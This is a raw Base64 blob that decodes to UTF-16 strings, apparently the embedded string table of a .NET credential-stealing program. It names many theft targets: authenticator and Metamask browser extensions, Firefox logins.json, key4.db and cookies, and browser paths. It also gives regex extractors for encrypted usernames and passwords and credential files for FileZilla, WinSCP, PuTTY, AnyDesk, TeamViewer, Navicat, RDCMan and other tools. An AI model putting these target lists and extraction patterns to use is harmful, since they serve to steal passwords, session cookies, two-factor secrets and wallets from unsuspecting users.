sAbABtAG4AawBvAGUAbwBpAGgAbwBmAGUAYwAAG0EAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFiAGgAZwBoAG8AYQBtAGEAcABjAGQAcABiAG8AaABwAGgAaQBnAG8AbwBvAGEAZABkAGkAbgBwAGsAYgBhAGkAAClHAG8AbwBnAGwAZQAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFrAGgAYwBvAGQAaABsAGYAawBwAG0AaABpAGIAaQBjAGQAagBqAGIAbABuAGsAZwBpAG0AZABlAHAAZwBuAGQAAC9NAGkAYwByAG8AcwBvAGYAdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFiAGYAYgBkAG4AYgBwAGkAYgBnAG4AZABwAGoAZgBoAG8AbgBrAGYAbABwAGsAaQBqAGYAYQBwAG0AbwBtAG4AAAtBAHUAdABoAHkAAEFnAGoAZgBmAGQAYgBqAG4AZABtAGMAYQBmAGUAbwBlAGgAZwBkAGwAZABvAGIAZwBqAG0AbABlAHAAYwBhAGwAABVEAHUAbwAgAE0AbwBiAGkAbABlAABBZQBpAGQAbABpAGMAagBsAGsAYQBpAGUAZgBkAGIAZwBtAGQAZQBwAG0AbQBpAGMAcABiAGcAZwBtAGgAbwBqAAARTwBUAFAAIABBAHUAdABoAABBYgBvAGIAZgBlAGoAZgBkAGwAaABuAGEAYgBnAGcAbABvAG0AcABpAG8AYwBsAG4AZABqAGUAagBvAGwAYwBoAAAPRgByAGUAZQBPAFQAUAAAQWUAbABvAGsAZgBtAG0AbQBqAGIAYQBkAHAAZwBkAGoAbQBnAGcAbABvAGMAYQBwAGQAYwBrAGQAYwBwAGsAbgAAJ0EAZQBnAGkAcwAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFwAHAAZABqAGwAawBmAGsAZQBkAG0AaQBkAG0AYwBsAGgAYQBrAGYAbgBjAHAAZgBkAG0AZABnAG0AagBwAG0AAC1MAGEAcwB0AFAAYQBzAHMAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByAABBYwBmAG8AYQBqAGMAYwBqAGkAYgBrAGoAaABiAGQAagBuAHAAawBiAGEAbgBhAG4AYgBlAGoAcABrAGsAagBiAAARRABhAHMAaABsAGEAbgBlAABBZgBsAGkAawBqAGwAcABnAG4AcABjAGoAZABpAGUAbgBvAG8AagBtAGcAbABpAGUAYwBoAG0AbQBoAGUAZQBrAAANSwBlAGUAcABlAHIAAEFnAG8AZgBoAGsAbABnAGQAbgBiAG4AcABjAGQAaQBnAGQAZwBrAGcAZgBvAGIAaABoAGcAaABqAG0AbQBrAGoAABFSAG8AYgBvAEYAbwByAG0AAEFoAHAAcABtAGMAaABhAGMAaABmAGwAbwBtAGsAZQBqAGIAaABvAGYAbwBiAGcAYQBuAGEAcABvAGoAagBvAGwAAA9LAGUAZQBQAGEAcwBzAABBbABiAGYAZQBhAGgAZABmAGQAawBpAGIAaQBuAGkAbgBqAGcAZQBqAGoAZwBwAGQAYQBmAGUAbwBwAGYAbABiAAATSwBlAGUAUABhAHMAcwBYAEMAAEFrAGcAZQBvAGgAbABlAGIAcABqAGcAYwBmAGkAaQBkAGYAaABoAGQAbABuAG4AawBoAGUAZgBhAGoAbQBjAGEAABNCAGkAdAB3AGEAcgBkAGUAbgAAQWkAbgBsAGoAYQBsAGoAaQBmAGYAawBkAGcAbQBsAG4AZABqAGsAZABpAGUAcABnAGgAcABvAGwAYwBwAGsAaQAAEU4AbwByAGQAUABhAHMAcwAAQW4AagBnAG4AbABrAGgAYwBqAGcAbQBqAGYAbgBmAGEAaABkAG0AZgBrAGEAbABwAGoAYwBuAGUAZQBiAHAAbAAAEUwAYQBzAHQAUABhAHMAcwAAQWcAYQBiAGUAZABmAGsAZwBuAGIAZwBsAGYAYgBuAHAAbABmAHAAagBkAGQAZwBmAG4AYgBpAGIAawBtAGIAYgAAD3MAdABvAHIAYQBnAGUAAA9kAGUAZgBhAHUAbAB0AAAfTQBlAHQAYQBtAGEAcwBrACAAVwBhAGwAbABlAHQAAEk3AGQANgAxAGIANQA5ADIALQBlADQAOAA4AC0ANABmADUANQAtAGIAZgAxADIALQA4AGQAMABhAGUANQA1AGYAZAAxADAAMAABSWIAYgAyADkAZQA1ADcANQAtADkANAA2AGUALQA0AGUANgA5AC0AYgA5ADUANgAtAGYANwAzAGEAZQBjADAAYQA5ADkAMgA3AAFJZQAyADEAMgBhADEANwA2AC0AYQAzADMAMQAtADQANgAyAGMALQBhADAAMgA0AC0AZAAyAGYAOQAwADIANwBmADEANQBmAGMAAUlhADAAMgBiADIAYQBhAGIALQA1AGQAYwBhAC0ANAA2ADQAOQAtADkAMwBjAGYALQBmADYAYQAzADQAOAA2ADAAZgBiAGQANQABF2wAbwBnAGkAbgBzAC4AagBzAG8AbgAAD2sAZQB5ADQALgBkAGIAAA9rAGUAeQAzAC4AZABiAACAryIAaABvAHMAdABuAGEAbQBlACIAOgBcAHMAKgAiACgALgAqAD8AKQAiAC4AKgA/ACIAZQBuAGMAcgB5AHAAdABlAGQAVQBzAGUAcgBuAGEAbQBlACIAOgBcAHMAKgAiACgALgAqAD8AKQAiAC4AKgA/ACIAZQBuAGMAcgB5AHAAdABlAGQAUABhAHMAcwB3AG8AcgBkACIAOgBcAHMAKgAiACgALgAqAD8AKQAiAAAdYwBvAG8AawBpAGUAcwAuAHMAcQBsAGkAdABlAAAXbQBvAHoAXwBjAG8AbwBrAGkAZQBzAAAlZgBvAHIAbQBoAGkAcwB0AG8AcgB5AC4AcwBxAGwAaQB0AGUAAB9tAG8AegBfAGYAbwByAG0AaABpAHMAdABvAHIAeQAAD0IAcgBvAHcAcwBlAHIAABVVAHMAZQByAC0AQQBnAGUAbgB0AAEdVQBzAGUAcgBBAGcAZQBuAHQAcwAuAHQAeAB0AAAxTQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAAICbKQAgAEEAcABwAGwAZQBXAGUAYgBLAGkAdAAvADUAMwA3AC4AMwA2ACAAKABLAEgAVABNAEwALAAgAGwAaQBrAGUAIABHAGUAYwBrAG8AKQAgAEMAaAByAG8AbQBlAC8AMQAwADYALgAwAC4ANQAyADQAOQAuADEAMQA5ACAAUwBhAGYAYQByAGkALwA1ADMANwAuADMANgAgAAADLwAAYSkAIABBAHAAcABsAGUAVwBlAGIASwBpAHQALwA1ADMANwAuADMANgAgACgASwBIAFQATQBMACwAIABsAGkAawBlACAARwBlAGMAawBvACkAIABDAGgAcgBvAG0AZQAvAAAdIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2AABHQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE8AcABlAHIAYQBcAGwAYQB1AG4AYwBoAGUAcgAuAGUAeABlAABRQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEEAcABwAGwAZQBcAFMAYQBmAGEAcgBpAFwAUwBhAGYAYQByAGkALgBlAHgAZQAAWUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABNAG8AegBpAGwAbABhACAARgBpAHIAZQBmAG8AeABcAGYAaQByAGUAZgBvAHgALgBlAHgAZQAAa0MAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAQQBwAHAAbABpAGMAYQB0AGkAbwBuAFwAYwBoAHIAbwBtAGUALgBlAHgAZQAAeUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABNAGkAYwByAG8AcwBvAGYAdABcAEUAZABnAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABtAHMAZQBkAGcAZQAuAGUAeABlAACAhUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABCAHIAYQB2AGUAUwBvAGYAdAB3AGEAcgBlAFwAQgByAGEAdgBlAC0AQgByAG8AdwBzAGUAcgBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAGIAcgBhAHYAZQAuAGUAeABlAAETQwA6AFwAVQBzAGUAcgBzAFwAAHdcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABZAGEAbgBkAGUAeABcAFkAYQBuAGQAZQB4AEIAcgBvAHcAcwBlAHIAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABiAHIAbwB3AHMAZQByAC4AZQB4AGUAAAtPAHAAZQByAGEAAA1TAGEAZgBhAHIAaQAAD0YAaQByAGUAZgBvAHgAAAtCAHIAYQB2AGUAAA1ZAGEAbgBkAGUAeAAAR0MAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEEAbgB5AEQAZQBzAGsAXABzAGUAcgB2AGkAYwBlAC4AYwBvAG4AZgAAKUEAbgB5AEQAZQBzAGsAXABzAGUAcgB2AGkAYwBlAC4AYwBvAG4AZgAAD0EAbgB5AEQAZQBzAGsAAA9DAG8AcgBlAEYAVABQAAA9UwBPAEYAVABXAEEAUgBFAFwARgBUAFAAVwBhAHIAZQBcAEMATwBSAEUARgBUAFAAXABTAGkAdABlAHMAAAlIAG8AcwB0AAAJVQBzAGUAcgAABVAAVwAAC1UAcgBsADoAIAAAHToAMgAxAAoAVQBzAGUAcgBuAGEAbQBlADoAIAAAK0YAVABQAC8AQwBvAHIAZQBGAFQAUAAvAEgAbwBzAHQAcwAuAHQAeAB0AAAhaABkAGYAegBwAHkAcwB2AHAAegBpAG0AbwByAGgAawAAE0MAeQBiAGUAcgBkAHUAYwBrAAATQwB5AGIAZQByAEQAdQBjAGsAACMuAGMAeQBiAGUAcgBkAHUAYwBrAHAAcgBvAGYAaQBsAGUAAB1GAFQAUAAvAEMAeQBiAGUAcgBEAHUAYwBrAC8AAFFDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABEAHkAbgBcAFUAcABkAGEAdABlAHIAXABjAG8AbgBmAGkAZwAuAGQAeQBuAGQAbgBzAAAjRAB5AG4AXABQAGEAcwBzAHcAbwByAGQAcwAuAHQAeAB0AAAHRAB5AG4AABVVAHMAZQByAE4AYQBtAGUAOgAgAAAZDQAKAFAAYQBzAHMAdwBvAHIAZAA6ACAAABF0ADYASwB6AFgAaABDAGgAABdcAEYAaQBsAGUAWgBpAGwAbABhAFwAACNyAGUAYwBlAG4AdABzAGUAcgB2AGUAcgBzAC4AeABtAGwAAB9zAGkAdABlAG0AYQBuAGEAZwBlAHIALgB4AG0AbAAAE0YAaQBsAGUAWgBpAGwAbABhAAANUwBlAHIAdgBlAHIAAAlQAGEAcwBzAAANZgB0AHAAOgAvAC8AAAM6AAAJUABvAHIAdAAAFwoAVQBzAGUAcgBuAGEAbQBlADoAIAAAHUYAVABQAC8ARgBpAGwAZQBaAGkAbABsAGEALwAAL0YAVABQAC8ARgBpAGwAZQBaAGkAbABsAGEALwBIAG8AcwB0AHMALgB0AHgAdAAAbVMATwBGAFQAVwBBAFIARQBcAEMAbABhAHMAcwBlAHMAXABGAG8AeABtAGEAaQBsAC4AdQByAGwALgBtAGEAaQBsAHQAbwBcAFMAaABlAGwAbABcAG8AcABlAG4AXABjAG8AbQBtAGEAbgBkAAAXRgBvAHgAbQBhAGkAbAAuAGUAeABlAAAPUwB0AG8AcgBhAGcAZQAAD0YAbwB4AE0AYQBpAGwAAAcqAEAAKgAAEUEAYwBjAG8AdQBuAHQAcwAAGUEAYwBjAG8AdQBuAHQALgByAGUAYwAwAAAjQQBjAGMAbwB1AG4AdABfAHsAMAA6AE4AfQAuAHIAZQBjAAARRgBvAHgAbQBhAGkAbABcAAAZXABBAGMAYwBvAHUAbgB0AC4AdAB4AHQAABFFAC0ATQBhAGkAbAA6ACAAATFGAG8AeABtAGEAaQBsAFYAZQByAHMAaQBvAG4ARABlAHQAZQBjAHQAZQBkADoAIAAAGTcALgB4ACAAbwByACAAbABhAHQAZQByAAAHNgAuAHgAABtcAEEAYwBjAG8AdQBuAHQALgByAGUAYwAwAAAPQQBjAGMAbwB1AG4AdAAAF1AATwBQADMAQQBjAGMAbwB1AG4AdAAAEVAAYQBzAHMAdwBvAHIAZAAAGVAATwBQADMAUABhAHMAcwB3AG8AcgBkAAAFNQBBAAAFNwAxAABvQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEYAVABQACAAQwBvAG0AbQBhAG4AZABlAHIAIABEAGUAbAB1AHgAZQBcAEYAdABwAGwAaQBzAHQALgB0AHgAdAAAYUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABGAFQAUAAgAEMAbwBtAG0AYQBuAGQAZQByAFwARgB0AHAAbABpAHMAdAAuAHQAeAB0AAAnQwA6AFwAYwBmAHQAcABcAEYAdABwAGwAaQBzAHQALgB0AHgAdAAAgJNcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABWAGkAcgB0AHUAYQBsAFMAdABvAHIAZQBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABGAFQAUAAgAEMAbwBtAG0AYQBuAGQAZQByAFwARgB0AHAAbABpAHMAdAAuAHQAeAB0AACAoVwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFYAaQByAHQAdQBhAGwAUwB0AG8AcgBlAFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEYAVABQACAAQwBvAG0AbQBhAG4AZABlAHIAIABEAGUAbAB1AHgAZQBcAEYAdABwAGwAaQBzAHQALgB0AHgAdAAAGUYAVABQAEMAbwBtAG0AYQBuAGQAZQByAAADMAAABTIAMQAANUYAVABQAC8ARgBUAFAAQwBvAG0AbQBhAG4AZABlAHIALwBIAG8AcwB0AHMALgB0AHgAdAAATVwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABGAFQAUABHAGUAdAB0AGUAcgBcAHMAZQByAHYAZQByAHMALgB4AG0AbAAAOzwAcwBlAHIAdgBlAHIAXABiAFsAXgA+AF0AKgA+ACgALgAqAD8AKQA8AC8AcwBlAHIAdgBlAHIAPgAATTwAcwBlAHIAdgBlAHIAXwBpAHAAPgBcAHMAKgAoAD8APAB2AD4ALgAqAD8AKQBcAHMAKgA8AC8AcwBlAHIAdgBlAHIAXwBpAHAAPgAAVTwAcwBlAHIAdgBlAHIAXwBwAG8AcgB0AD4AXABzACoAKAA/ADwAdgA+AFwAZAArACkAXABzACoAPAAvAHMAZQByAHYAZQByAF8AcABvAHIAdAA+AABpPABzAGUAcgB2AGUAcgBfAHUAcwBlAHIAXwBuAGEAbQBlAD4AXABzACoAKAA/ADwAdgA+AC4AKgA/ACkAXABzACoAPAAvAHMAZQByAHYAZQByAF8AdQBzAGUAcgBfAG4AYQBtAGUAPgAAeTwAcwBlAHIAdgBlAHIAXwB1AHMAZQByAF8AcABhAHMAcwB3AG8AcgBkAD4AXABzACoAKAA/ADwAdgA+AC4AKgA/ACkAXABzACoAPAAvAHMAZQByAHYAZQByAF8AdQBzAGUAcgBfAHAAYQBzAHMAdwBvAHIAZAA+AAATRgBUAFAARwBlAHQAdABlAHIAAAN2AAA3IAA9AD4AIABGAFQAUAAvAEYAVABQAEcAZQB0AHQAZQByAC8ASABvAHMAdABzAC4AdAB4AHQAAC9GAFQAUAAvAEYAVABQAEcAZQB0AHQAZQByAC8ASABvAHMAdABzAC4AdAB4AHQAADlDADoAXABGAFQAUAAgAE4AYQB2AGkAZwBhAHQAbwByAFwARgB0AHAAbABpAHMAdAAuAHQAeAB0AAAbRgBUAFAAIABOAGEAdgBpAGcAYQB0AG8AcgAAPSAAPQA+ACAARgBUAFAALwBGAFQAUABOAGEAdgBpAGcAYQB0AG8AcgAvAEgAbwBzAHQAcwAuAHQAeAB0AAA1RgBUAFAALwBGAFQAUABOAGEAdgBpAGcAYQB0AG8AcgAvAEgAbwBzAHQAcwAuAHQAeAB0AAA5XABEAG8AYwB1AG0AZQBuAHQAcwBcAEYAVABQAFIAdQBzAGgAXABzAGkAdABlAC4AagBzAG8AbgAAMSIAUwBlAHIAdgBlAHIAIgBcAHMAKgA6AFwAcwAqAFwAewAoAC4AKgA/ACkAXAB9AAA7IgBIAG8AcwB0ACIAXABzACoAOgBcAHMAKgAiACgAPwA8AGgAbwBzAHQAPgBbAF4AIgBdACoAKQAiAAAzIgBQAG8AcgB0ACIAXABzACoAOgBcAHMAKgAoAD8APABwAG8AcgB0AD4AXABkACsAKQAAQyIAVQBzAGUAcgBuAGEAbQBlACIAXABzACoAOgBcAHMAKgAiACgAPwA8AHUAcwBlAHIAPgBbAF4AIgBdACoAKQAiAABNIgBCAGEAcwBlADYANABQAGEAcwBzAHcAbwByAGQAIgBcAHMAKgA6AFwAcwAqACIAKAA/ADwAYgA2ADQAPgBbAF4AIgBdACoAKQAiAAAPRgBUAFAAUgB1AHMAaAAACWgAbwBzAHQAAAlwAG8AcgB0AAAHYgA2ADQAADMgAD0APgAgAEYAVABQAC8ARgBUAFAAUgB1AHMAaAAvAEgAbwBzAHQAcwAuAHQAeAB0AAArRgBUAFAALwBGAFQAUABSAHUAcwBoAC8ASABvAHMAdABzAC4AdAB4AHQAAG1cAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBpAHQASAB1AGIAIABEAGUAcwBrAHQAbwBwAFwATABvAGMAYQBsACAAUwB0AG8AcgBhAGcAZQBcAGwAZQB2AGUAbABkAGIAXAAAE0cAaQB0AGgAdQBiAEcAdQBpAAAXXAAuAGcAaQB0AGMAbwBuAGYAaQBnAAApRwBpAHQAaAB1AGIARwB1AGkAXAAuAGcAaQB0AGMAbwBuAGYAaQBnAAATSgBlAHQAQgByAGEAaQBuAHMAABEuAGwAaQBjAGUAbgBzAGUAABVKAGUAdABCAHIAYQBpAG4AcwBcAAA1UwBPAEYAVABXAEEAUgBFAFwATQBvAGIAYQB0AGUAawBcAE0AbwBiAGEAWAB0AGUAcgBtAAARUwBlAHMAcwBpAG8AbgBQAAA5UwBPAEYAVABXAEEAUgBFAFwATQBvAGIAYQB0AGUAawBcAE0AbwBiAGEAWAB0AGUAcgBtAFwAbQAAOVMATwBGAFQAVwBBAFIARQBcAE0AbwBiAGEAdABlAGsAXABNAG8AYgBhAFgAdABlAHIAbQBcAEMAAB1bACoAXQAgAE4AYQBtAGUAOgAgACAAIAAgACAAAB1bACoAXQAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAAB1bACoAXQAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAAICBQQBCAEMARABFAEYARwBIAEkASgBLAEwATQBOAE8AUABRAFIAUwBUAFUAVgBXAFgAWQBaAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcQByAHMAdAB1AHYAdwB4AHkAegAwADEAMgAzADQANQA2ADcAOAA5ACsALwAAD04AYQB2AGkAYwBhAHQAAAtNAHkAUwBxAGwAABlOAGEAdgBpAGMAYQB0AE0AUwBTAFEATAAAFVMAUQBMACAAUwBlAHIAdgBlAHIAABVOAGEAdgBpAGMAYQB0AE8AcgBhAAANTwByAGEAYwBsAGUAABNOAGEAdgBpAGMAYQB0AFAARwAAC3AAZwBzAHEAbAAAHU4AYQB2AGkAYwBhAHQATQBBAFIASQBBAEQAQgAAD00AYQByAGkAYQBEAEIAACtTAG8AZgB0AHcAYQByAGUAXABQAHIAZQBtAGkAdQBtAFMAbwBmAHQAXAAAEVwAUwBlAHIAdgBlAHIAcwAAEVUAcwBlAHIATgBhAG0AZQAAB1AAdwBkAAAdRABhAHQAYQBiAGEAcwBlAFQAeQBwAGUAOgAgAAAbQwBvAG4AbgBlAGMAdABOAGEAbQBlADoAIAAADUgAbwBzAHQAOgAgAAARTgBhAHYAaQBjAGEAdABcAAAfXABjAG8AbgBuAGUAYwB0AGkAbwBuAC4AdAB4AHQAAAtuAGcAcgBvAGsAABNuAGcAcgBvAGsALgB5AG0AbAAAH04AZwByAG8AawBcAG4AZwByAG8AawAuAHkAbQBsAAALTgBnAHIAbwBrAAA1UwBPAEYAVABXAEEAUgBFAFwAVgBpAHQAYQBsAHcAZQByAGsAcwBcAEQAVQBDAFwAdgA0AAAJQwBLAGUAeQAAB0MASQBEAAApTgBvAEkAcABcAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAHQAeAB0AAAJTgBvAEkAcAAAFWMAbABpAGUAbgB0AGkAZAA6ACAAABEKAGwAbwBnAGkAbgA6ACAAACEKAHAAYQBzAHMAdwBvAHIAZAAgAGgAYQBzAGgAOgAgAAAVbwBiAHMALQBzAHQAdQBkAGkAbwABC2IAYQBzAGkAYwAAGXMAZQByAHYAaQBjAGUALgBqAHMAbwBuAAAhcwBlAHIAdgBpAGMAZQAuAGoAcwBvAG4ALgBiAGEAawAAB08AQgBTAAAvTwBCAFMAXABPAEIAUwBfAFMAZQByAHYAaQBjAGUASwBlAHkAcwAuAHQAeAB0AAA9IgBzAGUAdAB0AGkAbgBnAHMAIgBcAHMAKgA6AFwAcwAqAFwAewAoAD8APABzAD4ALgAqAD8AKQBcAH0AADsiAHMAZQByAHYAaQBjAGUAIgBcAHMAKgA6AFwAcwAqACIAKAA/ADwAdgA+AFsAXgAiAF0AKgApACIAADMiAGsAZQB5ACIAXABzACoAOgBcAHMAKgAiACgAPwA8AHYAPgBbAF4AIgBdACoAKQAiAAANUABsAGEAeQBJAHQAABdwAGwAYQB5AGkAdAAuAHQAbwBtAGwAABNwAGwAYQB5AGkAdABfAGcAZwAAJVAAbABhAHkASQB0AFwAcABsAGEAeQBpAHQALgB0AG8AbQBsAAALUAB1AFQAVABZAAANUAB1AFQAVABZAFwAAEFDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAUAB1AFQAVABZAFwAcAB1AHQAdAB5AC4AbABvAGcAAB9QAHUAVABUAFkAXABwAHUAdAB0AHkALgBsAG8AZwAAR1MAbwBmAHQAdwBhAHIAZQBcAFMAaQBtAG8AbgBUAGEAdABoAGEAbQBcAFAAdQBUAFQAWQBcAFMAZQBzAHMAaQBvAG4AcwAAHVAAdQBUAFQAWQBcAHMAZQBzAHMAaQBvAG4AXwAAQ1IAZQBtAG8AdABlACAARABlAHMAawB0AG8AcAAgAEMAbwBuAG4AZQBjAHQAaQBvAG4AIABNAGEAbgBhAGcAZQByAAAfUgBEAEMATQBhAG4ALgBzAGUAdAB0AGkAbgBnAHMAABsvAC8ARgBpAGwAZQBzAFQAbwBPAHAAZQBuAAANUgBEAEMATQBhAG4AAA9SAEQAQwBNAGEAbgBcAAARLwAvAHMAZQByAHYAZQByAAAZUwBvAHUAcgBjAGUARgBpAGwAZQA6ACAAACVGAG8AdQBuAGQAIABzAGUAcgB2AGUAcgBzADoAIAB7ADAAfQAACW4AYQBtAGUAABdwAHIAbwBmAGkAbABlAE4AYQBtAGUAABF1AHMAZQByAE4AYQBtAGUAAA1kAG8AbQBhAGkAbgAACS0ALQAtAC0AARVIAG8AcwB0AE4AYQBtAGUAOgAgAAAbUAByAG8AZgBpAGwAZQBOAGEAbQBlADoAIAAAJ0QAZQBjAHIAeQBwAHQAZQBkAFAAYQBzAHMAdwBvAHIAZAA6ACAAACFcAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAHQAeAB0AABTUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAEMAbABpAGUAbgB0AAAHUgBkAHAAAAdSAEQAUAAAD0QAZQBmAGEAdQBsAHQAABlcAEgAaQBzAHQAbwByAHkALgB0AHgAdAAAGVwARABlAGYAYQB1AGwAdAAgAD0APgAgAAAPUwBlAHIAdgBlAHIAcwAAEXsAMAB9ADoAIAB7ADEAfQAAIVwAQwByAGUAZABlAG4AdABpAGEAbABzAC4AdAB4AHQAABlcAFMAZQByAHYAZQByAHMAIAA9AD4AIAAAgMFTAE8ARgBUAFcAQQBSAEUAXABcAFcATwBXADYANAAzADIATgBvAGQAZQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAFcAaQBuAGQAbwB3AHMAXABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFwAVQBuAGkAbgBzAHQAYQBsAGwAXABcAE8AcgBhAHkAIABTAHUAbgBMAG8AZwBpAG4AIABSAGUAbQBvAHQAZQBDAGwAaQBlAG4AdAAAgIsuAEQARQBGAEEAVQBMAFQAXABcAFMAbwBmAHQAdwBhAHIAZQBcAFwATwByAGEAeQBcAFwAUwB1AG4ATABvAGcAaQBuAFwAXABTAHUAbgBsAG8AZwBpAG4AQwBsAGkAZQBuAHQAXABcAFMAdQBuAGwAbwBnAGkAbgBHAHIAZQBlAG4ASQBuAGYAbwAAgIEuAEQARQBGAEEAVQBMAFQAXABcAFMAbwBmAHQAdwBhAHIAZQBcAFwATwByAGEAeQBcAFwAUwB1AG4ATABvAGcAaQBuAFwAXABTAHUAbgBsAG8AZwBpAG4AQwBsAGkAZQBuAHQAXABcAFMAdQBuAGwAbwBnAGkAbgBJAG4AZgBvAAARUwB1AG4AbABvAGcAaQBuAAAfSQBuAHMAdABhAGwAbABMAG8AYwBhAHQAaQBvAG4AABVjAG8AbgBmAGkAZwAuAGkAbgBpAAAbZgBhAHMAdABjAG8AZABlAD0AKAAuACoAKQAAHWUAbgBjAHIAeQBfAHAAdwBkAD0AKAAuACoAKQAAI3MAdQBuAGwAbwBnAGkAbgBjAG8AZABlAD0AKAAuACoAKQAAIXIAZQBnAGkAcwB0AHIAeQBfAGkAbgBzAHQAYQBsAGwAABtiAGEAcwBlAF8AZgBhAHMAdABjAG8AZABlAAAdYgBhAHMAZQBfAGUAbgBjAHIAeQBfAHAAdwBkAAAjYgBhAHMAZQBfAHMAdQBuAGwAbwBnAGkAbgBjAG8AZABlAAAlcgBlAGcAaQBzAHQAcgB5AF8AZwByAGUAZQBuAGkAbgBmAG8AABtyAGUAZwBpAHMAdAByAHkAXwBpAG4AZgBvAAAJTwByAGEAeQAAHVMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdAAAF3AAcgBvAGcAcgBhAG0AZABhAHQAYQAAJVMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdABMAGkAdABlAAAncwB5AHMAXwBsAGkAdABlAF8AYwBvAG4AZgBpAGcALgBpAG4AaQAAGXUAcwBlAHIAXwByAG8AYQBtAGkAbgBnAACAs1wAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQBtADMAMgBcAGMAbwBuAGYAaQBnAFwAcwB5AHMAdABlAG0AcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATwByAGEAeQBcAFMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdABcAHMAeQBzAF8AYwBvAG4AZgBpAGcALgBpAG4AaQAAgMlDADoAXABcAFcAaQBuAGQAbwB3AHMAXABcAHMAeQBzAHQAZQBtADMAMgBcAFwAYwBvAG4AZgBpAGcAXABcAHMAeQBzAHQAZQBtAHAAcgBvAGYAaQBsAGUAXABcAEEAcABwAEQAYQB0AGEAXABcAFIAbwBhAG0AaQBuAGcAXABcAE8AcgBhAHkAXABcAFMAdQBuAGwAbwBnAGkAbgBDAGwAaQBlAG4AdABcAFwAcwB5AHMAXwBjAG8AbgBmAGkAZwAuAGkAbgBpAAAbcwB5AHMAdABlAG0AcAByAG8AZgBpAGwAZQAAI1MAdQBuAGwAbwBnAGkAbgBcAGkAbgBmAG8ALgB0AHgAdAAAEVMAbwB1AHIAYwBlADoAIAAADVAAYQB0AGgAOgAgAAArIAA9AD4AIABTAHUAbgBsAG8AZwBpAG4AXABpAG4AZgBvAC4AdAB4AHQAABVGAGEAcwB0AGMAbwBkAGUAOgAgAAAXRQBuAGMAcgB5AF8AcAB3AGQAOgAgAAAdUwB1AG4AbABvAGcAaQBuAGMAbwBkAGUAOgAgAAAlVABlAGEAbQBTAHAAZQBhAGsAIAAzACAAQwBsAGkAZQBuAHQAAAtjAGgAYQB0AHMAABNUAGUAYQBtAFMAcABlAGEAawAACyoALgB0AHgAdAAAHVQAZQBhAG0AUwBwAGUAYQBrAFwAewAwAH0AXAAAFVQAZQBhAG0AUwBwAGUAYQBrAFwAAA9jAGgAYQBuAG4AZQBsAAANcwBlAHIAdgBlAHIAACdTAE8ARgBUAFcAQQBSAEUAXABUAGUAYQBtAFYAaQBlAHcAZQByAAAVVABlAGEAbQBWAGkAZQB3AGUAcgAAL1QAZQBhAG0AVgBpAGUAdwBlAHIAXABSAGUAZwBpAHMAdAByAHkALgB0AHgAdAAAL1MATwBGAFQAVwBBAFIARQBcAFQAZQBhAG0AVgBpAGUAdwBlAHIAIAA9AD4AIAAAD0cASABJAFMATABFAFIAABd3AGMAeABfAGYAdABwAC4AaQBuAGkAADdUAG8AdABhAGwAIABDAG8AbQBtAGEAbgBkAGUAcgBcAHcAYwB4AF8AZgB0AHAALgBpAG4AaQAAH1QAbwB0AGEAbAAgAEMAbwBtAG0AYQBuAGQAZQByAABTUwBvAGYAdAB3AGEAcgBlAFwATQBhAHIAdABpAG4AIABQAHIAaQBrAHIAeQBsAFwAVwBpAG4AUwBDAFAAIAAyAFwAUwBlAHMAcwBpAG8AbgBzAABVUwBvAGYAdAB3AGEAcgBlAFwATQBhAHIAdABpAG4AIABQAHIAaQBrAHIAeQBsAFwAVwBpAG4AUwBDAFAAIAAyAFwAUwBlAHMAcwBpAG8AbgBzAFwA